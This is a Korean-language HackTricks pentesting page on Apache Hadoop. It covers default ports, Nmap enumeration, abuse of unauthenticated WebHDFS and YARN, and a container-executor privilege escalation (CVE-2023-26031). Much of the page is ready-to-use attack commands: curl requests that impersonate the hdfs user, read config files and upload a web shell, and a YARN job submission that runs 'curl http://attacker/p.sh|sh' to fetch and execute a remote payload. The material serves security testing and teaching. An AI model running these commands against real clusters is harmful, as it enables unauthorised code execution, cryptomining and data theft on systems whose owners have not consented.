50030-50060-50070-50075-50090 - Pentesting Hadoop

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본 정보

Apache Hadoop오픈 소스 프레임워크로서 컴퓨터 클러스터 전반에서 대규모 데이터셋분산 저장 및 처리를 제공합니다. 저장에는 HDFS를, 처리에는 MapReduce를 사용합니다.

유용한 기본 포트:

  • 50070 / 9870 NameNode (WebHDFS)
  • 50075 / 9864 DataNode
  • 50090 Secondary NameNode
  • 8088 YARN ResourceManager web UI & REST
  • 8042 YARN NodeManager
  • 8031/8032 YARN RPC (often forgotten and still unauth in many installs)

안타깝게도 문서 작성 시점에 Hadoop은 Metasploit 프레임워크에서 지원되지 않습니다. 대신 다음 Nmap scripts를 사용해 Hadoop 서비스를 열거할 수 있습니다:

  • hadoop-jobtracker-info (Port 50030)
  • hadoop-tasktracker-info (Port 50060)
  • hadoop-namenode-info (Port 50070)
  • hadoop-datanode-info (Port 50075)
  • hadoop-secondary-namenode-info (Port 50090)

기본 설정에서는 Hadoop이 인증 없이 동작한다는 것을 반드시 유의하세요. 다만 보안을 강화하려면 HDFS, YARN, MapReduce 서비스에 Kerberos를 통합할 수 있는 구성 옵션이 있습니다.

WebHDFS / HttpFS abuse (50070/9870 or 14000)

설정이 security=off인 경우 user.name 파라미터로 임의의 사용자로 가장할 수 있습니다. 몇 가지 간단한 기법:

# list root directory
curl "http://<host>:50070/webhdfs/v1/?op=LISTSTATUS&user.name=hdfs"

# read arbitrary file from HDFS
curl -L "http://<host>:50070/webhdfs/v1/etc/hadoop/core-site.xml?op=OPEN&user.name=hdfs"

# upload a web shell / binary
curl -X PUT -T ./payload "http://<host>:50070/webhdfs/v1/tmp/payload?op=CREATE&overwrite=true&user.name=hdfs" -H 'Content-Type: application/octet-stream'

HttpFS가 활성화되어 있으면 (기본 포트 14000) 동일한 REST 경로가 적용됩니다. Kerberos 뒤에서는 유효한 티켓으로 curl --negotiate -u :를 여전히 사용할 수 있습니다.

YARN unauth RCE (8088)

The ResourceManager REST API는 기본 “simple” 모드 (dr.who)에서 인증 없이 작업 제출을 허용합니다. 공격자는 이를 악용해 HDFS 쓰기 권한 없이 임의의 명령(예: miners)을 실행합니다.

# 1) get an application id
curl -s -X POST http://<host>:8088/ws/v1/cluster/apps/new-application

# 2) submit DistributedShell pointing to a command
curl -s -X POST http://<host>:8088/ws/v1/cluster/apps \
-H 'Content-Type: application/json' \
-d '{
"application-id":"application_1234567890000_0001",
"application-name":"pwn",
"am-container-spec":{
"commands":{"command":"/bin/bash -c \"curl http://attacker/p.sh|sh\""}
},
"application-type":"YARN"
}'

포트 8031/8032 RPC가 노출되어 있으면, 구형 클러스터는 protobuf를 통해 인증 없이 동일한 작업 제출을 허용합니다(여러 cryptominer 캠페인에서 문서화됨) — 해당 포트들도 RCE로 간주하세요.

YARN containers에서의 Local PrivEsc (CVE-2023-26031)

Hadoop 3.3.1–3.3.4 container-executorrelative RUNPATH에서 라이브러리를 로드합니다. YARN containers를 실행할 수 있는 사용자(보안이 취약한 클러스터의 원격 제출자 포함)는 쓰기 가능한 경로에 악성 libcrypto.so를 내려놓고 container-executor가 SUID로 실행될 때 root 권한을 얻을 수 있습니다.

빠른 확인:

readelf -d /opt/hadoop/bin/container-executor | grep 'RUNPATH\|RPATH'
# vulnerable if it contains $ORIGIN/:../lib/native/
ls -l /opt/hadoop/bin/container-executor   # SUID+root makes it exploitable

버전 3.3.5에서 수정됨; secure containers가 필요하지 않다면 binary가 SUID가 아니도록 확인하세요.

참고자료

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기